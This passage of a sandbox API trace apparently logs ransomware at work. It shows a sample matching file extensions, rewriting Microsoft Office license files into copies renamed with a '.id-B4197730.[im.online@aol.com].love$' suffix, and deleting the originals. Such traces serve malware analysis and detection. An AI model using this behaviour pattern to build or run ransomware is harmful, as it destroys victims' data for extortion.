returned -1 [0275.076] lstrlenW (lpString=".xls") returned 4 [0275.076] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0275.076] lstrlenW (lpString=".xlsx") returned 5 [0275.076] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0275.076] lstrlenW (lpString=".ppt") returned 4 [0275.076] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0275.076] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-pl.xrm-ms") returned 87 [0275.076] lstrlenW (lpString=".zip") returned 4 [0275.076] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0275.076] lstrlenW (lpString=".rar") returned 4 [0275.076] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0275.076] lstrlenW (lpString=".bz2") returned 4 [0275.076] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0275.076] lstrlenW (lpString=".7z") returned 3 [0275.076] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0275.076] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-pl.xrm-ms") returned 87 [0275.076] lstrlenW (lpString=".dbf") returned 4 [0275.076] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0275.077] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-pl.xrm-ms") returned 87 [0275.077] lstrlenW (lpString=".1cd") returned 4 [0275.077] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0275.077] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-pl.xrm-ms") returned 87 [0275.077] lstrlenW (lpString=".jpg") returned 4 [0275.077] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0275.077] lstrcmpiW (lpString1=".xrm-ms", lpString2=".love$") returned 1 [0275.077] lstrlenW (lpString="O365HomePremR_Subscription3-ppd.xrm-ms") returned 38 [0275.077] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription3-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0275.078] GetFileSizeEx (in: hFile=0x454, lpFileSize=0x346ff14 | out: lpFileSize=0x346ff14*=26541) returned 1 [0275.079] CloseHandle (hObject=0x454) returned 1 [0275.079] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription3-ppd.xrm-ms")) returned 0x220 [0275.079] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-ppd.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription3-ppd.xrm-ms.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0275.079] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription3-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0275.080] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.080] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.080] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-ppd.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription3-ppd.xrm-ms.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0275.081] GetLastError () returned 0x0 [0275.081] ReadFile (in: hFile=0x454, lpBuffer=0x3ca2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x346fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesRead=0x346fecc*=0x67ad, lpOverlapped=0x0) returned 1 [0275.461] WriteFile (in: hFile=0x574, lpBuffer=0x3ca2020*, nNumberOfBytesToWrite=0x67b0, lpNumberOfBytesWritten=0x346fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesWritten=0x346fc94*=0x67b0, lpOverlapped=0x0) returned 1 [0275.463] ReadFile (in: hFile=0x454, lpBuffer=0x3ca2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x346fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesRead=0x346fecc*=0x0, lpOverlapped=0x0) returned 1 [0275.463] WriteFile (in: hFile=0x574, lpBuffer=0x3ca2020*, nNumberOfBytesToWrite=0x120, lpNumberOfBytesWritten=0x346fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesWritten=0x346fc94*=0x120, lpOverlapped=0x0) returned 1 [0275.463] SetEndOfFile (hFile=0x574) returned 1 [0275.464] CloseHandle (hObject=0x574) returned 1 [0275.464] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.464] SetEndOfFile (hFile=0x454) returned 1 [0275.468] CloseHandle (hObject=0x454) returned 1 [0275.468] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-ppd.xrm-ms.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0275.468] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription3-ppd.xrm-ms")) returned 1 [0275.469] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-ppd.xrm-ms") returned 88 [0275.469] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-ppd.xrm-ms") returned 88 [0275.470] lstrlenW (lpString=".doc") returned 4 [0275.470] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0275.470] lstrlenW (lpString=".docx") returned 5 [0275.470] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0275.470] lstrlenW (lpString=".pdf") returned 4 [0275.470] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0275.470] lstrlenW (lpString=".xls") returned 4 [0275.470] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0275.470] lstrlenW (lpString=".xlsx") returned 5 [0275.470] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0275.470] lstrlenW (lpString=".ppt") returned 4 [0275.470] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0275.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-ppd.xrm-ms") returned 88 [0275.470] lstrlenW (lpString=".zip") returned 4 [0275.470] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0275.470] lstrlenW (lpString=".rar") returned 4 [0275.470] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0275.470] lstrlenW (lpString=".bz2") returned 4 [0275.470] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0275.470] lstrlenW (lpString=".7z") returned 3 [0275.470] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0275.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-ppd.xrm-ms") returned 88 [0275.470] lstrlenW (lpString=".dbf") returned 4 [0275.470] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0275.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-ppd.xrm-ms") returned 88 [0275.470] lstrlenW (lpString=".1cd") returned 4 [0275.470] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0275.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-ppd.xrm-ms") returned 88 [0275.470] lstrlenW (lpString=".jpg") returned 4 [0275.470] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0275.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-ppd.xrm-ms") returned 88 [0275.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-ppd.xrm-ms") returned 88 [0275.470] lstrlenW (lpString=".doc") returned 4 [0275.471] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0275.471] lstrlenW (lpString=".docx") returned 5 [0275.471] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0275.471] lstrlenW (lpString=".pdf") returned 4 [0275.471] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0275.471] lstrlenW (lpString=".xls") returned 4 [0275.471] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0275.471] lstrlenW (lpString=".xlsx") returned 5 [0275.471] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0275.471] lstrlenW (lpString=".ppt") returned 4 [0275.471] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0275.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-ppd.xrm-ms") returned 88 [0275.471] lstrlenW (lpString=".zip") returned 4 [0275.471] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0275.471] lstrlenW (lpString=".rar") returned 4 [0275.471] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0275.471] lstrlenW (lpString=".bz2") returned 4 [0275.471] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0275.471] lstrlenW (lpString=".7z") returned 3 [0275.471] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0275.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-ppd.xrm-ms") returned 88 [0275.471] lstrlenW (lpString=".dbf") returned 4 [0275.471] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0275.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-ppd.xrm-ms") returned 88 [0275.471] lstrlenW (lpString=".1cd") returned 4 [0275.471] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0275.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-ppd.xrm-ms") returned 88 [0275.471] lstrlenW (lpString=".jpg") returned 4 [0275.471] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0275.471] lstrcmpiW (lpString1=".xrm-ms", lpString2=".love$") returned 1 [0275.472] lstrlenW (lpString="O365HomePremR_SubTest1-pl.xrm-ms") returned 32 [0275.472] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest1-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0275.473] GetFileSizeEx (in: hFile=0x454, lpFileSize=0x346ff14 | out: lpFileSize=0x346ff14*=11179) returned 1 [0275.473] CloseHandle (hObject=0x454) returned 1 [0275.473] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest1-pl.xrm-ms")) returned 0x220 [0275.473] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-pl.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest1-pl.xrm-ms.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0275.473] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest1-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0275.474] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.474] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.474] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-pl.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest1-pl.xrm-ms.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0275.475] GetLastError () returned 0x0 [0275.475] ReadFile (in: hFile=0x454, lpBuffer=0x3ca2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x346fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesRead=0x346fecc*=0x2bab, lpOverlapped=0x0) returned 1 [0275.478] WriteFile (in: hFile=0x574, lpBuffer=0x3ca2020*, nNumberOfBytesToWrite=0x2bb0, lpNumberOfBytesWritten=0x346fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesWritten=0x346fc94*=0x2bb0, lpOverlapped=0x0) returned 1 [0275.479] ReadFile (in: hFile=0x454, lpBuffer=0x3ca2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x346fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesRead=0x346fecc*=0x0, lpOverlapped=0x0) returned 1 [0275.479] WriteFile (in: hFile=0x574, lpBuffer=0x3ca2020*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x346fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesWritten=0x346fc94*=0x114, lpOverlapped=0x0) returned 1 [0275.479] SetEndOfFile (hFile=0x574) returned 1 [0275.479] CloseHandle (hObject=0x574) returned 1 [0275.479] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.479] SetEndOfFile (hFile=0x454) returned 1 [0275.482] CloseHandle (hObject=0x454) returned 1 [0275.482] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-pl.xrm-ms.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0275.483] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest1-pl.xrm-ms")) returned 1 [0275.484] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-pl.xrm-ms") returned 82 [0275.484] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-pl.xrm-ms") returned 82 [0275.484] lstrlenW (lpString=".doc") returned 4 [0275.484] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0275.484] lstrlenW (lpString=".docx") returned 5 [0275.484] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0275.484] lstrlenW (lpString=".pdf") returned 4 [0275.484] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0275.485] lstrlenW (lpString=".xls") returned 4 [0275.485] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0275.485] lstrlenW (lpString=".xlsx") returned 5 [0275.485] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0275.485] lstrlenW (lpString=".ppt") returned 4 [0275.485] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0275.485] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-pl.xrm-ms") returned 82 [0275.485] lstrlenW (lpString=".zip") returned 4 [0275.485] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0275.485] lstrlenW (lpString=".rar") returned 4 [0275.485] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0275.485] lstrlenW (lpString=".bz2") returned 4 [0275.485] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0275.485] lstrlenW (lpString=".7z") returned 3 [0275.485] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0275.485] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-pl.xrm-ms") returned 82 [0275.485] lstrlenW (lpString=".dbf") returned 4 [0275.485] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0275.485] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-pl.xrm-ms") returned 82 [0275.485] lstrlenW (lpString=".1cd") returned 4 [0275.485] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0275.485] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-pl.xrm-ms") returned 82 [0275.485] lstrlenW (lpString=".jpg") returned 4 [0275.485] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0275.485] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-pl.xrm-ms") returned 82 [0275.485] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-pl.xrm-ms") returned 82 [0275.486] lstrlenW (lpString=".doc") returned 4 [0275.486] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0275.486] lstrlenW (lpString=".docx") returned 5 [0275.486] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0275.486] lstrlenW (lpString=".pdf") returned 4 [0275.486] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0275.486] lstrlenW (lpString=".xls") returned 4 [0275.486] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0275.486] lstrlenW (lpString=".xlsx") returned 5 [0275.486] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0275.486] lstrlenW (lpString=".ppt") returned 4 [0275.486] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0275.486] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-pl.xrm-ms") returned 82 [0275.486] lstrlenW (lpString=".zip") returned 4 [0275.486] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0275.486] lstrlenW (lpString=".rar") returned 4 [0275.486] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0275.486] lstrlenW (lpString=".bz2") returned 4 [0275.486] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0275.486] lstrlenW (lpString=".7z") returned 3 [0275.486] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0275.486] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-pl.xrm-ms") returned 82 [0275.486] lstrlenW (lpString=".dbf") returned 4 [0275.486] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0275.486] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-pl.xrm-ms") returned 82 [0275.486] lstrlenW (lpString=".1cd") returned 4 [0275.486] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0275.486] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-pl.xrm-ms") returned 82 [0275.486] lstrlenW (lpString=".jpg") returned 4 [0275.486] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0275.486] lstrcmpiW (lpString1=".xrm-ms", lpString2=".love$") returned 1 [0275.487] lstrlenW (lpString="O365HomePremR_SubTest1-ppd.xrm-ms") returned 33 [0275.487] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest1-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0275.488] GetFileSizeEx (in: hFile=0x454, lpFileSize=0x346ff14 | out: lpFileSize=0x346ff14*=23134) returned 1 [0275.488] CloseHandle (hObject=0x454) returned 1 [0275.488] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest1-ppd.xrm-ms")) returned 0x220 [0275.488] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-ppd.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest1-ppd.xrm-ms.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0275.488] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest1-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0275.489] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.489] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.489] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-ppd.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest1-ppd.xrm-ms.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0275.490] GetLastError () returned 0x0 [0275.490] ReadFile (in: hFile=0x454, lpBuffer=0x3ca2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x346fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesRead=0x346fecc*=0x5a5e, lpOverlapped=0x0) returned 1 [0275.494] WriteFile (in: hFile=0x574, lpBuffer=0x3ca2020*, nNumberOfBytesToWrite=0x5a60, lpNumberOfBytesWritten=0x346fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesWritten=0x346fc94*=0x5a60, lpOverlapped=0x0) returned 1 [0275.495] ReadFile (in: hFile=0x454, lpBuffer=0x3ca2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x346fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesRead=0x346fecc*=0x0, lpOverlapped=0x0) returned 1 [0275.496] WriteFile (in: hFile=0x574, lpBuffer=0x3ca2020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x346fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesWritten=0x346fc94*=0x116, lpOverlapped=0x0) returned 1 [0275.496] SetEndOfFile (hFile=0x574) returned 1 [0275.496] CloseHandle (hObject=0x574) returned 1 [0275.496] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.496] SetEndOfFile (hFile=0x454) returned 1 [0275.500] CloseHandle (hObject=0x454) returned 1 [0275.500] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-ppd.xrm-ms.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0275.501] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest1-ppd.xrm-ms")) returned 1 [0275.503] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-ppd.xrm-ms") returned 83 [0275.503] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-ppd.xrm-ms") returned 83 [0275.503] lstrlenW (lpString=".doc") returned 4 [0275.503] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0275.503] lstrlenW (lpString=".docx") returned 5 [0275.503] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0275.503] lstrlenW (lpString=".pdf") returned 4 [0275.503] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0275.503] lstrlenW (lpString=".xls") returned 4 [0275.503] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0275.503] lstrlenW (lpString=".xlsx") returned 5 [0275.503] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0275.503] lstrlenW (lpString=".ppt") returned 4 [0275.503] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0275.503] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-ppd.xrm-ms") returned 83 [0275.503] lstrlenW (lpString=".zip") returned 4 [0275.503] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0275.503] lstrlenW (lpString=".rar") returned 4 [0275.503] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0275.503] lstrlenW (lpString=".bz2") returned 4 [0275.504] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0275.505] lstrlenW (lpString=".7z") returned 3 [0275.505] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0275.505] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-ppd.xrm-ms") returned 83 [0275.505] lstrlenW (lpString=".dbf") returned 4 [0275.505] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0275.505] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-ppd.xrm-ms") returned 83 [0275.505] lstrlenW (lpString=".1cd") returned 4 [0275.505] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0275.505] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-ppd.xrm-ms") returned 83 [0275.505] lstrlenW (lpString=".jpg") returned 4 [0275.505] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0275.505] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-ppd.xrm-ms") returned 83 [0275.505] lstrlenW (lpString="C:\\Program Files\\Microsoft 